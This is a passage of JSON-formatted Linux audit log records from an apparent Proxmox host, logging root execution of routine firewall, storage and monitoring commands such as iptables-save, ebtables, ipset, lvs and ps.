fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235243,"@rawstring":"node=pve type=PATH msg=audit(1781966235.243:69037): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965545871,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965545.871:66058): proctitle=\"iptables-save\""} {"@timestamp":1781964820764,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964820.764:62775): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60231 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235239,"@rawstring":"node=pve type=PATH msg=audit(1781966235.239:69036): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965545864,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965545.864:66057): proctitle=69707365740073617665"} {"@timestamp":1781964819952,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964819.952:62772): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7254540 a1=637ee7252f40 a2=637ee7240ef0 a3=8 items=2 ppid=60227 pid=60229 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235239,"@rawstring":"node=pve type=PATH msg=audit(1781966235.239:69036): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965545849,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965545.849:66056): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964819952,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964819.952:62771): arch=c000003e syscall=59 success=yes exit=0 a0=637ee72542c0 a1=637ee7254820 a2=637ee7240ef0 a3=8 items=2 ppid=60227 pid=60228 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235239,"@rawstring":"node=pve type=PATH msg=audit(1781966235.239:69036): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965545837,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965545.837:66055): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964819950,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964819.950:62770): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242c30 a1=637ee7256ba0 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=60226 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235232,"@rawstring":"node=pve type=PATH msg=audit(1781966235.232:69035): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965544748,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965544.748:66054): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964816096,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964816.096:62769): arch=c000003e syscall=59 success=yes exit=0 a0=583a33e28d30 a1=583a33e34f00 a2=583a33e02680 a3=5 items=2 ppid=60219 pid=60225 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235232,"@rawstring":"node=pve type=PATH msg=audit(1781966235.232:69035): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965544718,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965544.718:66053): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964816093,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964816.093:62768): arch=c000003e syscall=59 success=yes exit=0 a0=583a1436fac8 a1=7ffe2d706740 a2=583a33e02680 a3=583a1435324e items=2 ppid=60219 pid=60221 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235224,"@rawstring":"node=pve type=PATH msg=audit(1781966235.224:69034): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965543402,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965543.402:66052): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964816092,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964816.092:62767): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe2d706700 a1=583a33e243d0 a2=583a33e02680 a3=5 items=2 ppid=60219 pid=60220 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235224,"@rawstring":"node=pve type=PATH msg=audit(1781966235.224:69034): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965543402,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965543.402:66051): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964816087,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964816.087:62765): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc148d60 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60219 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235217,"@rawstring":"node=pve type=PATH msg=audit(1781966235.217:69033): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965543402,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965543.402:66050): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964816082,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964816.082:62764): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60218 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235217,"@rawstring":"node=pve type=PATH msg=audit(1781966235.217:69033): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965543395,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965543.395:66049): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964816075,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964816.075:62763): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60217 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235210,"@rawstring":"node=pve type=PATH msg=audit(1781966235.210:69032): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965543395,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965543.395:66048): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964816069,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964816.069:62762): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60216 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235210,"@rawstring":"node=pve type=PATH msg=audit(1781966235.210:69032): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965543395,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965543.395:66047): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964816061,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964816.061:62761): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60215 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235203,"@rawstring":"node=pve type=PATH msg=audit(1781966235.203:69030): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965540548,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965540.548:66046): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964816057,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964816.057:62760): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5f9efef50740 items=0 ppid=1156 pid=60214 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966235203,"@rawstring":"node=pve type=PATH msg=audit(1781966235.203:69030): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965540546,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965540.546:66045): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781964816054,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964816.054:62759): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc135580 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60214 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235196,"@rawstring":"node=pve type=PATH msg=audit(1781966235.196:69029): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965540544,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965540.544:66044): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781964816051,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964816.051:62758): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e2ca0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60213 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235196,"@rawstring":"node=pve type=PATH msg=audit(1781966235.196:69029): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965538385,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965538.385:66043): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964816045,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964816.045:62757): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13b8a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60212 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235190,"@rawstring":"node=pve type=PATH msg=audit(1781966235.190:69028): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965538385,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965538.385:66042): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964816039,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964816.039:62756): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139eb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60211 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235190,"@rawstring":"node=pve type=PATH msg=audit(1781966235.190:69028): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965538384,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965538.384:66041): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964816034,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964816.034:62755): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b8a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60210 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235185,"@rawstring":"node=pve type=PATH msg=audit(1781966235.185:69027): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965538374,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965538.374:66040): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964816029,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964816.029:62754): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13bd50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60209 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235185,"@rawstring":"node=pve type=PATH msg=audit(1781966235.185:69027): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965538374,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965538.374:66039): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964816023,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964816.023:62753): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60208 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235179,"@rawstring":"node=pve type=PATH msg=audit(1781966235.179:69026): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965538374,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965538.374:66038): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964816017,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964816.017:62752): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60207 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235179,"@rawstring":"node=pve type=PATH msg=audit(1781966235.179:69026): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535821,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.821:66037): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964816013,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964816.013:62751): arch=c000003e syscall=59 success=yes exit=0 a0=5f5aaad5cd70 a1=5f5aaad68f40 a2=5f5aaad36680 a3=5 items=2 ppid=60200 pid=60206 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235173,"@rawstring":"node=pve type=PATH msg=audit(1781966235.173:69025): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535803,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.803:66036): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964816010,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964816.010:62750): arch=c000003e syscall=59 success=yes exit=0 a0=5f5a9a98dac8 a1=7fff85b24a70 a2=5f5aaad36680 a3=5f5a9a97124e items=2 ppid=60200 pid=60202 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235173,"@rawstring":"node=pve type=PATH msg=audit(1781966235.173:69025): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535800,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.800:66035): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964816010,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964816.010:62749): arch=c000003e syscall=59 success=yes exit=0 a0=7fff85b24a30 a1=5f5aaad58410 a2=5f5aaad36680 a3=5 items=2 ppid=60200 pid=60201 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235162,"@rawstring":"node=pve type=PATH msg=audit(1781966235.162:69024): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535800,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.800:66034): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964816006,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964816.006:62747): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60200 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235162,"@rawstring":"node=pve type=PATH msg=audit(1781966235.162:69024): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535788,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.788:66033): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964815999,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964815.999:62746): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60199 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235155,"@rawstring":"node=pve type=PATH msg=audit(1781966235.155:69023): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535774,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.774:66032): proctitle=\"ip6tables-save\""} {"@timestamp":1781964815993,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964815.993:62745): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60198 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235155,"@rawstring":"node=pve type=PATH msg=audit(1781966235.155:69023): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535752,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.752:66031): proctitle=\"iptables-save\""} {"@timestamp":1781964815988,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964815.988:62744): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adab00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60197 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966234694,"@rawstring":"node=pve type=PATH msg=audit(1781966234.694:69012): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535724,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965535.724:66030): proctitle=\"ip6tables-save\""} {"@timestamp":1781964815983,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964815.983:62743): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc149d60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60196 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966234694,"@rawstring":"node=pve type=PATH msg=audit(1781966234.694:69012): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535689,"@rawstring":"node=pve type=PROCTITLE 